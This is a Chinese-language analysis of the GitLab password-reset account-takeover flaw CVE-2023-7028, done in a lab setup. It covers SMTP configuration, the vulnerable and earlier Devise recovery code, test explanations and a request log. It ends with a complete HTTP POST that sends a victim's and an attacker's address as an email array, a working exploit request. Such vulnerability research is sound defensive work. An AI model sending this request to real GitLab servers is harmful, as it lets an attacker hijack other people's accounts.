CVE-2023-7028 GitLab Account Takeover漏洞分析

web.title="GitLab"

gitlab_rails['smtp_enable'] = truegitlab_rails['smtp_address'] = "smtp.gmail.com"gitlab_rails['smtp_port'] = 587gitlab_rails['smtp_user_name'] = "[email protected]"gitlab_rails['smtp_password'] = "应用专用密码"gitlab_rails['smtp_domain'] = "smtp.gmail.com"gitlab_rails['smtp_authentication'] = "login"gitlab_rails['smtp_enable_starttls_auto'] = truegitlab_rails['smtp_tls'] = false# gitlab_rails['smtp_pool'] = false###! **Can be: 'none', 'peer', 'client_once', 'fail_if_no_peer_cert'**###! Docs: http://api.rubyonrails.org/classes/ActionMailer/Base.html# gitlab_rails['smtp_openssl_verify_mode'] = 'peer'gitlab_rails['smtp_ca_path'] = "/etc/ssl/certs"gitlab_rails['smtp_ca_file'] = "/etc/ssl/certs/ca-certificates.crt"### Email Settingsgitlab_rails['gitlab_email_enabled'] = true##! If your SMTP server does not like the default 'From: [email protected]'##! can change the 'From' with this setting.gitlab_rails['gitlab_email_from'] = '[email protected]'gitlab_rails['gitlab_email_display_name'] = 'display_name'gitlab_rails['gitlab_email_reply_to'] = '[email protected]'gitlab_rails['gitlab_email_subject_suffix'] = ''gitlab_rails['gitlab_email_smime_enabled'] = falsegitlab_rails['gitlab_email_smime_key_file'] = '/etc/gitlab/ssl/gitlab_smime.key'gitlab_rails['gitlab_email_smime_cert_file'] = '/etc/gitlab/ssl/gitlab_smime.crt'gitlab_rails['gitlab_email_smime_ca_certs_file'] = '/etc/gitlab/ssl/gitlab_smime_cas.crt'

gitlab-rails consoleNotify.test_email('[email protected]', 'Message Subject', 'Message Body').deliver_nowDelivered mail 16932d5092738@35a8758e2d8d.mail (6085.9ms)

gitlab-rails console -e productionLoading production environment (Rails 4.2.8)irb(main):001:0> user = User.where(id: 1).first=> #<User id: 1, email: "[email protected]"......irb(main):009:0> user.email = '[email protected]'irb(main):011:0> user.save!=> trueirb(main):011:0> exit

这段 Ruby 代码是一个使用 RSpec 编写的测试套件的一部分，主要测试 send_reset_password_instructions 方法的行为。这个方法的主要功能是向用户发送重置密码的指令。首先，代码定义了一些测试用的数据，包括用户的未确认的次要电子邮件地址、未知的电子邮件地址、无效的电子邮件地址、尝试进行 SQL 注入的电子邮件地址，以及另一个用户的已确认和未确认的主要电子邮件地址。然后，代码定义了两个共享的测试示例："sends 'Reset password instructions' email"：这个测试示例包含两个测试用例，分别测试当调用 send_reset_password_instructions 方法时，是否能找到预期的用户，以及是否发送了重置密码指令的电子邮件。"does not send 'Reset password instructions' email"：这个测试示例也包含两个测试用例，分别测试当调用 send_reset_password_instructions 方法时，是否找不到用户（并返回一个带有错误的新用户实例），以及是否没有发送任何电子邮件。这些测试用例通过调用 expect 方法和各种匹配器（如 eq、be_instance_of、be_new_record、not_to be_empty、have_enqueued_mail 和 not_to have_enqueued_mail）来验证 send_reset_password_instructions 方法的行为是否符合预期。这段 Ruby 代码定义了一个名为 EmailHelpers 的模块，该模块包含了一系列的方法，主要用于在测试中帮助处理和验证电子邮件的发送。以下是一些主要方法的解释：sent_to_user(user, recipients: email_recipients)：此方法计算给定用户的通知电子邮件地址在收件人列表中出现的次数。reset_delivered_emails!：此方法清除所有已发送的电子邮件和排队的作业，主要用于在每个测试用例开始前重置状态。expect_only_one_email_to_be_sent(subject:, to:)：此方法验证是否只发送了一封电子邮件，且该电子邮件的主题和收件人是否与预期相符。should_only_email(*users, kind: :to)：此方法验证是否只有指定的用户收到了电子邮件。should_email(user, times: 1, recipients: email_recipients)：此方法验证指定的用户是否收到了预期数量的电子邮件。should_not_email(user, recipients: email_recipients)：此方法验证指定的用户是否没有收到电子邮件。should_not_email_anyone：此方法验证是否没有发送任何电子邮件。email_recipients(kind: :to)：此方法返回所有电子邮件的收件人列表。find_email_for(user)：此方法查找发送给指定用户的电子邮件。have_referable_subject(referable, include_project: true, reply: false)：此方法验证电子邮件的主题是否包含指定的引用信息。enqueue_mail_with(mailer_class, mail_method_name, *args)：此方法验证是否已将指定的电子邮件作业排入队列。expect_sender(user, sender_email: nil)：此方法验证电子邮件的发送者是否与预期的用户相符。expect_service_desk_custom_email_delivery_options(service_desk_setting)：此方法验证电子邮件的发送设置是否与服务台的自定义电子邮件设置相符。这个模块主要用于在测试中验证电子邮件的发送行为，确保电子邮件的发送者、收件人、主题等都符合预期。

# frozen_string_literal: trueclass Devise::PasswordsController < DeviseController  prepend_before_action :require_no_authentication  # Render the #edit only if coming from a reset password email link  append_before_action :assert_reset_token_passed, only: :edit  # GET /resource/password/new  def new    self.resource = resource_class.new  end  # POST /resource/password  def create    self.resource = resource_class.send_reset_password_instructions(resource_params)    yield resource if block_given?    if successfully_sent?(resource)      respond_with({}, location: after_sending_reset_password_instructions_path_for(resource_name))    else      respond_with(resource)    end  end  # GET /resource/password/edit?reset_password_token=abcdef  def edit    self.resource = resource_class.new    set_minimum_password_length    resource.reset_password_token = params[:reset_password_token]  end

# frozen_string_literal: true# Concern that overrides the Devise methods# to send reset password instructions to any verified user emailmodule RecoverableByAnyEmail  extend ActiveSupport::Concern  class_methods do    def send_reset_password_instructions(attributes = {})      email = attributes.delete(:email)      super unless email      recoverable = by_email_with_errors(email)      recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted?      recoverable    end    private    def by_email_with_errors(email)      record = find_by_any_email(email, confirmed: true) || new      record.errors.add(:email, :invalid) unless record.persisted?      record    end  end  def send_reset_password_instructions(opts = {})    token = set_reset_password_token    send_reset_password_instructions_notification(token, opts)    token  end  private  def send_reset_password_instructions_notification(token, opts = {})    send_devise_notification(:reset_password_instructions, token, opts)  endend

attributes = { email: '[email protected]', name: 'Test' }

email = attributes.delete(:email)

{    "method": "POST",    "path": "/users/password",    "format": "html",    "controller": "PasswordsController",    "action": "create",    "status": 302,    "location": "http://192.168.32.128/users/sign_in",    "time": "2024-01-13T09:01:29.874Z",    "params": [        {            "key": "authenticity_token",            "value": "[FILTERED]"        },        {            "key": "user",            "value": {                "email": [                    "[email protected]",                    "[email protected]"                ]            }        }    ],.....}

# frozen_string_literal: true# Concern that overrides the Devise methods to allow reset password instructions# to be sent to any users' confirmed secondary emails.# See https://github.com/heartcombo/devise/blob/main/lib/devise/models/recoverable.rbmodule RecoverableByAnyEmail  extend ActiveSupport::Concern  class_methods do    def send_reset_password_instructions(attributes = {})      return super unless attributes[:email]      email = Email.confirmed.find_by(email: attributes[:email].to_s)      return super unless email      recoverable = email.user      recoverable.send_reset_password_instructions(to: email.email)      recoverable    end  end  def send_reset_password_instructions(opts = {})    token = set_reset_password_token    send_reset_password_instructions_notification(token, opts)    token  end  protected  def send_reset_password_instructions_notification(token, opts = {})    send_devise_notification(:reset_password_instructions, token, opts)  endend

        # By default 'devise' gem allows password reset by unconfirmed primary email.        # When user account with unconfirmed primary email that means it is unconfirmed.        #        # Password reset by unconfirmed primary email is very helpful from        # security perspective. Example:        # Malicious person creates user account on GitLab with someone's email.        # If the email owner confirms the email for newly created account, the malicious person will be able        # to sign in into the account by password they provided during account signup.        # The malicious person could set up 2FA to the user account, after that        # te email owner would not able to get access to that user account even        # after performing password reset.        # To deal with that case safely the email owner should reset password        # for the user account first. That will make sure that after the user account        # is confirmed the malicious person is not be able to sign in with        # the password they provided during the account signup. Then email owner        # could sign into the account, they will see a prompt to confirm the account email        # to proceed. They can safely confirm the email and take over the account.        # That is one of the reasons why password reset by unconfirmed primary email should be allowed.

POST /users/password HTTP/1.1Host: 192.168.59.211User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.59.211/users/password/newContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://192.168.59.211Connection: closeUpgrade-Insecure-Requests: 1authenticity_token=f5QX5M91ZRP8-AfaC9G0xBLeOJflvQnB1G7-hZcbtd02t1-TXduqcTgC3dDfWyVqX7ik_aXAcq3fgK02gN01bg&user%5Bemail%5D%5B%[email protected]&user%5Bemail%5D%5B%[email protected]